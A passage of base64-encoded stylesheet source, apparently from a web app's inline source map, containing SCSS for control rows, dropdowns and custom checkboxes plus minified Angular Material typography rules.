jb2xvcjtcbiAgICAgICAgICAgIGN1cnNvcjogZGVmYXVsdDtcbiAgICAgICAgICAgIHVzZXItc2VsZWN0OiBub25lO1xuICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgICAgICAgIC8vIGJvdHRvbTogMTBweDtcbiAgICAgICAgfVxuXG4gICAgICAgIC5jb250cm9sLXJvdy1pdGVtIHtcblxuICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgaGVpZ2h0OiAzNHB4O1xuXG4gICAgICAgICAgICAuY29udHJvbC1yb3ctYnV0dG9uIHtcbiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNXB4O1xuICAgICAgICAgICAgICAgIGhlaWdodDogMjRweDtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgJjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IGRhcmtlbigkcGFuZWwtZGFyaywgNSUpOyB9XG4gICAgICAgICAgICAgICAgJi5kcm9wZG93bjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDVwdDtcbiAgICAgICAgICAgICAgICAgICAgY29udGVudDogXCLilrxcIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cblxuICAgICAgICAgICAgLy8gZHJvcGRvd24gY29udHJvbHMgY29udGFpbmVyXG4gICAgICAgICAgICAuZHJvcGRvd24tY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICAmLmxlZnQgeyByaWdodDogMCB9XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMTBweCAxMHB4IDVweCByZ2JhKDAsIDAsIDAsIDAuNSk7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDEwMDsgLy9kcmF3IG9uIHRvcCBvZiBvdGhlciBjb250cm9sc1xuICAgICAgICAgICAgICAgIHdpZHRoOiBtYXgtY29udGVudDtcblxuICAgICAgICAgICAgICAgICYuaW5wdXRmaWVsZCB7XG4gICAgICAgICAgICAgICAgICAgIHdpZHRoOiAgMTUwcHg7XG4gICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDBweCAxMHB4O1xuICAgICAgICAgICAgICAgICAgICBtYXQtZm9ybS1maWVsZCB7XG4gICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICAgICAgICAgICY6Zmlyc3QtY2hpbGQge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmctdG9wOjVweDtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICB9XG4gICAgfVxufVxuXG4vLy8vLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBDaGVja2JveCBTdHlsaW5nIC8vXG4vLy8vLy8vLy8vLy8vLy8vLy8vLy8vXG5cbi5jaGVja2JveC1jdXN0b20ge1xuICAgIG9wYWNpdHk6IDA7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICY6ZGlzYWJsZWQge1xuICAgICAgICBjdXJzb3I6IGRlZmF1bHQ7XG4gICAgfVxufVxuXG4uY2hlY2tib3gtY3VzdG9tLCAuY2hlY2tib3gtY3VzdG9tLWxhYmVsIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICBtYXJnaW46IDVweDtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5jaGVja2JveC1jdXN0b20tbGFiZWwge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAmLmRpc2FibGVkIHtcbiAgICAgICAgY29sb3I6IHJnYmEoMCwwLDAsMC40Nik7XG4gICAgICAgIGN1cnNvcjogZGVmYXVsdDtcbiAgICB9XG59XG5cbi5jaGVja2JveC1jdXN0b20gKyAuY2hlY2tib3gtY3VzdG9tLWxhYmVsOmJlZm9yZSB7XG4gICAgY29udGVudDogJyc7XG4gICAgYmFja2dyb3VuZDogI2ZmZjtcbiAgICBib3JkZXI6IDNweCBzb2xpZCAkcGFuZWwtZGFyaztcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICB3aWR0aDogMTBweDtcbiAgICBoZWlnaHQ6IDEwcHg7XG4gICAgcGFkZGluZzogMnB4O1xuICAgIG1hcmdpbi1yaWdodDogNXB4O1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbn1cblxuLmNoZWNrYm94LWN1c3RvbTpjaGVja2VkICsgLmNoZWNrYm94LWN1c3RvbS1sYWJlbDpiZWZvcmUge1xuICAgIGJhY2tncm91bmQ6ICRjZWxsLWhpZ2hsaWdodC1jb2xvcjtcbiAgICBib3gtc2hhZG93OiBpbnNldCAwcHggMHB4IDBweCAxcHggJGNlbGwtaGlnaGxpZ2h0LWNvbG9yO1xufVxuLmNoZWNrYm94LWN1c3RvbTpjaGVja2VkOmRpc2FibGVkICsgLmNoZWNrYm94LWN1c3RvbS1sYWJlbDpiZWZvcmUge1xuICAgIGJhY2tncm91bmQ6IGRlc2F0dXJhdGUoJGNlbGwtaGlnaGxpZ2h0LWNvbG9yLCAxMDAlKTtcbiAgICBib3gtc2hhZG93OiBpbnNldCAwcHggMHB4IDBweCAxcHggZGVzYXR1cmF0ZSgkY2VsbC1oaWdobGlnaHQtY29sb3IsIDEwMCUpO1xuXG59XG4iLCIubWF0LWJhZGdlLWNvbnRlbnR7Zm9udC13ZWlnaHQ6NjAwO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWJhZGdlLXNtYWxsIC5tYXQtYmFkZ2UtY29udGVudHtmb250LXNpemU6OXB4fS5tYXQtYmFkZ2UtbGFyZ2UgLm1hdC1iYWRnZS1jb250ZW50e2ZvbnQtc2l6ZToyNHB4fS5tYXQtaDEsLm1hdC1oZWFkbGluZSwubWF0LXR5cG9ncmFwaHkgaDF7Zm9udDo0MDAgMjRweC8zMnB4IFJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjttYXJnaW46MCAwIDE2cHh9Lm1hdC1oMiwubWF0LXRpdGxlLC5tYXQtdHlwb2dyYXBoeSBoMntmb250OjUwMCAyMHB4LzMycHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTZweH0ubWF0LWgzLC5tYXQtc3ViaGVhZGluZy0yLC5tYXQtdHlwb2dyYXBoeSBoM3tmb250OjQwMCAxNnB4LzI4cHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTZweH0ubWF0LWg0LC5tYXQtc3ViaGVhZGluZy0xLC5tYXQtdHlwb2dyYXBoeSBoNHtmb250OjQwMCAxNXB4LzI0cHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTZweH0ubWF0LWg1LC5tYXQtdHlwb2dyYXBoeSBoNXtmb250OjQwMCBjYWxjKDE0cHggKiAuODMpLzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTJweH0ubWF0LWg2LC5tYXQtdHlwb2dyYXBoeSBoNntmb250OjQwMCBjYWxjKDE0cHggKiAuNjcpLzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTJweH0ubWF0LWJvZHktMiwubWF0LWJvZHktc3Ryb25ne2ZvbnQ6NTAwIDE0cHgvMjRweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1ib2R5LC5tYXQtYm9keS0xLC5tYXQtdHlwb2dyYXBoeXtmb250OjQwMCAxNHB4LzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtYm9keSBwLC5tYXQtYm9keS0xIHAsLm1hdC10eXBvZ3JhcGh5IHB7bWFyZ2luOjAgMCAxMnB4fS5tYXQtY2FwdGlvbiwubWF0LXNtYWxse2ZvbnQ6NDAwIDEycHgvMjBweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1kaXNwbGF5LTQsLm1hdC10eXBvZ3JhcGh5IC5tYXQtZGlzcGxheS00e2ZvbnQ6MzAwIDExMnB4LzExMnB4IFJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjtsZXR0ZXItc3BhY2luZzotLjA1ZW07bWFyZ2luOjAgMCA1NnB4fS5tYXQtZGlzcGxheS0zLC5tYXQtdHlwb2dyYXBoeSAubWF0LWRpc3BsYXktM3tmb250OjQwMCA1NnB4LzU2cHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2xldHRlci1zcGFjaW5nOi0uMDJlbTttYXJnaW46MCAwIDY0cHh9Lm1hdC1kaXNwbGF5LTIsLm1hdC10eXBvZ3JhcGh5IC5tYXQtZGlzcGxheS0ye2ZvbnQ6NDAwIDQ1cHgvNDhweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWY7bGV0dGVyLXNwYWNpbmc6LS4wMDVlbTttYXJnaW46MCAwIDY0cHh9Lm1hdC1kaXNwbGF5LTEsLm1hdC10eXBvZ3JhcGh5IC5tYXQtZGlzcGxheS0xe2ZvbnQ6NDAwIDM0cHgvNDBweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWY7bWFyZ2luOjAgMCA2NHB4fS5tYXQtYm90dG9tLXNoZWV0LWNvbnRhaW5lcntmb250OjQwMCAxNHB4LzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtYnV0dG9uLC5tYXQtZmFiLC5tYXQtZmxhdC1idXR0b24sLm1hdC1pY29uLWJ1dHRvbiwubWF0LW1pbmktZmFiLC5tYXQtcmFpc2VkLWJ1dHRvbiwubWF0LXN0cm9rZWQtYnV0dG9ue2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo1MDB9Lm1hdC1idXR0b24tdG9nZ2xle2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWNhcmR7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtY2FyZC10aXRsZXtmb250LXNpemU6MjRweDtmb250LXdlaWdodDo1MDB9Lm1hdC1jYXJkLWhlYWRlciAubWF0LWNhcmQtdGl0bGV7Zm9udC1zaXplOjIwcHh9Lm1hdC1jYXJkLWNvbnRlbnQsLm1hdC1jYXJkLXN1YnRpdGxle2ZvbnQtc2l6ZToxNHB4fS5tYXQtY2hlY2tib3h7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtY2hlY2tib3gtbGF5b3V0IC5tYXQtY2hlY2tib3gtbGFiZWx7bGluZS1oZWlnaHQ6MjRweH0ubWF0LWNoaXB7Zm9udC1zaXplOjE0cHg7Zm9udC13ZWlnaHQ6NTAwfS5tYXQtY2hpcCAubWF0LWNoaXAtcmVtb3ZlLm1hdC1pY29uLC5tYXQtY2hpcCAubWF0LWNoaXAtdHJhaWxpbmctaWNvbi5tYXQtaWNvbntmb250LXNpemU6MThweH0ubWF0LXRhYmxle2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWhlYWRlci1jZWxse2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LWNlbGwsLm1hdC1mb290ZXItY2VsbHtmb250LXNpemU6MTRweH0ubWF0LWNhbGVuZGFye2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWNhbGVuZGFyLWJvZHl7Zm9udC1zaXplOjEzcHh9Lm1hdC1jYWxlbmRhci1ib2R5LWxhYmVsLC5tYXQtY2FsZW5kYXItcGVyaW9kLWJ1dHRvbntmb250LXNpemU6MTRweDtmb250LXdlaWdodDo1MDB9Lm1hdC1jYWxlbmRhci10YWJsZS1oZWFkZXIgdGh7Zm9udC1zaXplOjExcHg7Zm9udC13ZWlnaHQ6NDAwfS5tYXQtZGlhbG9nLXRpdGxle2ZvbnQ6NTAwIDIwcHgvMzJweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVye2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjtmb250LXNpemU6MTVweDtmb250LXdlaWdodDo0MDB9Lm1hdC1leHBhbnNpb24tcGFuZWwtY29udGVudHtmb250OjQwMCAxNHB4LzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtZm9ybS1maWVsZHtmb250LXNpemU6aW5oZXJpdDtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MS4xMjU7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtZm9ybS1maWVsZC13cmFwcGVye3BhZGRpbmctYm90dG9tOjEuMzQzNzVlbX0ubWF0LWZvcm0tZmllbGQtcHJlZml4IC5tYXQtaWNvbiwubWF0LWZvcm0tZmllbGQtc3VmZml4IC5tYXQtaWNvbntmb250LXNpemU6MTUwJTtsaW5lLWhlaWdodDoxLjEyNX0ubWF0LWZvcm0tZmllbGQtcHJlZml4IC5tYXQtaWNvbi1idXR0b24sLm1hdC1mb3JtLWZpZWxkLXN1ZmZpeCAubWF0LWljb24tYnV0dG9ue2hlaWdodDoxLjVlbTt3aWR0aDoxLjVlbX0ubWF0LWZvcm0tZmllbGQtcHJlZml4IC5tYXQtaWNvbi1idXR0b24gLm1hdC1pY29uLC5tYXQtZm9ybS1maWVsZC1zdWZmaXggLm1hdC1pY29uLWJ1dHRvbiAubWF0LWljb257aGVpZ2h0OjEuMTI1ZW07bGluZS1oZWlnaHQ6MS4xMjV9Lm1hdC1mb3JtLWZpZWxkLWluZml4e3BhZGRpbmc6LjVlbSAwO2JvcmRlci10b3A6Ljg0Mzc1ZW0gc29saWQgdHJhbnNwYXJlbnR9Lm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcjpmb2N1cysubWF0LWZvcm0tZmllbGQtbGFiZWwtd3JhcHBlciAubWF0LWZvcm0tZmllbGQtbGFiZWwsLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdC5tYXQtZm9ybS1maWVsZC1zaG91bGQtZmxvYXQgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjM0Mzc1ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzMzJX0ubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyW2xhYmVsXTpub3QoOmxhYmVsLXNob3duKSsubWF0LWZvcm0tZmllbGQtbGFiZWwtd3JhcHBlciAubWF0LWZvcm0tZmllbGQtbGFiZWx7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTEuMzQzNzRlbSkgc2NhbGUoLjc1KTt3aWR0aDoxMzMuMzMzMzQlfS5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVye3RvcDotLjg0Mzc1ZW07cGFkZGluZy10b3A6Ljg0Mzc1ZW19Lm1hdC1mb3JtLWZpZWxkLWxhYmVse3RvcDoxLjM0Mzc1ZW19Lm1hdC1mb3JtLWZpZWxkLXVuZGVybGluZXtib3R0b206MS4zNDM3NWVtfS5tYXQtZm9ybS1maWVsZC1zdWJzY3JpcHQtd3JhcHBlcntmb250LXNpemU6NzUlO21hcmdpbi10b3A6LjY2NjY3ZW07dG9wOmNhbGMoMTAwJSAtIDEuNzkxNjdlbSl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC13cmFwcGVye3BhZGRpbmctYm90dG9tOjEuMjVlbX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kgLm1hdC1mb3JtLWZpZWxkLWluZml4e3BhZGRpbmc6LjQzNzVlbSAwfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWxlZ2FjeS5tYXQtZm9ybS1maWVsZC1jYW4tZmxvYXQgLm1hdC1pbnB1dC1zZXJ2ZXI6Zm9jdXMrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLC5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWxlZ2FjeS5tYXQtZm9ybS1maWVsZC1jYW4tZmxvYXQubWF0LWZvcm0tZmllbGQtc2hvdWxkLWZsb2F0IC5tYXQtZm9ybS1maWVsZC1sYWJlbHt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMS4yODEyNWVtKSBzY2FsZSguNzUpIHBlcnNwZWN0aXZlKDEwMHB4KSB0cmFuc2xhdGVaKC4wMDFweCk7LW1zLXRyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTI1ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzMzJX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtZm9ybS1maWVsZC1hdXRvZmlsbC1jb250cm9sOi13ZWJraXQtYXV0b2ZpbGwrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTI1ZW0pIHNjYWxlKC43NSkgcGVyc3BlY3RpdmUoMTAwcHgpIHRyYW5zbGF0ZVooLjAwMTAxcHgpOy1tcy10cmFuc2Zvcm06dHJhbnNsYXRlWSgtMS4yODEyNGVtKSBzY2FsZSguNzUpO3dpZHRoOjEzMy4zMzMzNCV9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5Lm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcltsYWJlbF06bm90KDpsYWJlbC1zaG93bikrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTI1ZW0pIHNjYWxlKC43NSkgcGVyc3BlY3RpdmUoMTAwcHgpIHRyYW5zbGF0ZVooLjAwMTAycHgpOy1tcy10cmFuc2Zvcm06dHJhbnNsYXRlWSgtMS4yODEyM2VtKSBzY2FsZSguNzUpO3dpZHRoOjEzMy4zMzMzNSV9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC1sYWJlbHt0b3A6MS4yODEyNWVtfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWxlZ2FjeSAubWF0LWZvcm0tZmllbGQtdW5kZXJsaW5le2JvdHRvbToxLjI1ZW19Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC1zdWJzY3JpcHQtd3JhcHBlcnttYXJnaW4tdG9wOi41NDE2N2VtO3RvcDpjYWxjKDEwMCUgLSAxLjY2NjY3ZW0pfUBtZWRpYSBwcmludHsubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyOmZvY3VzKy5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVyIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0Lm1hdC1mb3JtLWZpZWxkLXNob3VsZC1mbG9hdCAubWF0LWZvcm0tZmllbGQtbGFiZWx7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTEuMjgxMjJlbSkgc2NhbGUoLjc1KX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtZm9ybS1maWVsZC1hdXRvZmlsbC1jb250cm9sOi13ZWJraXQtYXV0b2ZpbGwrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTIxZW0pIHNjYWxlKC43NSl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5Lm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcltsYWJlbF06bm90KDpsYWJlbC1zaG93bikrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTJlbSkgc2NhbGUoLjc1KX19Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtZmlsbCAubWF0LWZvcm0tZmllbGQtaW5maXh7cGFkZGluZzouMjVlbSAwIC43NWVtIDB9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtZmlsbCAubWF0LWZvcm0tZmllbGQtbGFiZWx7dG9wOjEuMDkzNzVlbTttYXJnaW4tdG9wOi0uNWVtfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWZpbGwubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyOmZvY3VzKy5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVyIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1maWxsLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdC5tYXQtZm9ybS1maWVsZC1zaG91bGQtZmxvYXQgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0uNTkzNzVlbSkgc2NhbGUoLjc1KTt3aWR0aDoxMzMuMzMzMzMlfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWZpbGwubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyW2xhYmVsXTpub3QoOmxhYmVsLXNob3duKSsubWF0LWZvcm0tZmllbGQtbGFiZWwtd3JhcHBlciAubWF0LWZvcm0tZmllbGQtbGFiZWx7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLS41OTM3NGVtKSBzY2FsZSguNzUpO3dpZHRoOjEzMy4zMzMzNCV9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2Utb3V0bGluZSAubWF0LWZvcm0tZmllbGQtaW5maXh7cGFkZGluZzoxZW0gMCAxZW0gMH0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lIC5tYXQtZm9ybS1maWVsZC1sYWJlbHt0b3A6MS44NDM3NWVtO21hcmdpbi10b3A6LS4yNWVtfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLW91dGxpbmUubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyOmZvY3VzKy5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVyIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdC5tYXQtZm9ybS1maWVsZC1zaG91bGQtZmxvYXQgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjU5Mzc1ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzMzJX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcltsYWJlbF06bm90KDpsYWJlbC1zaG93bikrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjU5Mzc0ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzM0JX0ubWF0LWdyaWQtdGlsZS1mb290ZXIsLm1hdC1ncmlkLXRpbGUtaGVhZGVye2ZvbnQtc2l6ZToxNHB4fS5tYXQtZ3JpZC10aWxlLWZvb3RlciAubWF0LWxpbmUsLm1hdC1ncmlkLXRpbGUtaGVhZGVyIC5tYXQtbGluZXt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7ZGlzcGxheTpibG9jaztib3gtc2l6aW5nOmJvcmRlci1ib3h9Lm1hdC1ncmlkLXRpbGUtZm9vdGVyIC5tYXQtbGluZTpudGgtY2hpbGQobisyKSwubWF0LWdyaWQtdGlsZS1oZWFkZXIgLm1hdC1saW5lOm50aC1jaGlsZChuKzIpe2ZvbnQtc2l6ZToxMnB4fWlucHV0Lm1hdC1pbnB1dC1lbGVtZW50e21hcmdpbi10b3A6LS4wNjI1ZW19Lm1hdC1tZW51LWl0ZW17Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2ZvbnQtd2VpZ2h0OjQwMH0ubWF0LXBhZ2luYXRvciwubWF0LXBhZ2luYXRvci1wYWdlLXNpemUgLm1hdC1zZWxlY3QtdHJpZ2dlcntmb250LWZhbWlseTpSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEycHh9Lm1hdC1yYWRpby1idXR0b257Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtc2VsZWN0e2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LXNlbGVjdC10cmlnZ2Vye2hlaWdodDoxLjEyNWVtfS5tYXQtc2xpZGUtdG9nZ2xlLWNvbnRlbnR7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtc2xpZGVyLXRodW1iLWxhYmVsLXRleHR7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LXN0ZXBwZXItaG9yaXpvbnRhbCwubWF0LXN0ZXBwZXItdmVydGljYWx7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtc3RlcC1sYWJlbHtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo0MDB9Lm1hdC1zdGVwLXN1Yi1sYWJlbC1lcnJvcntmb250LXdlaWdodDo0MDB9Lm1hdC1zdGVwLWxhYmVsLWVycm9ye2ZvbnQtc2l6ZToxNHB4fS5tYXQtc3RlcC1sYWJlbC1zZWxlY3RlZHtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo1MDB9Lm1hdC10YWItZ3JvdXB7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtdGFiLWxhYmVsLC5tYXQtdGFiLWxpbmt7Zm9udC1mYW1pbHk6Um9ib3RvL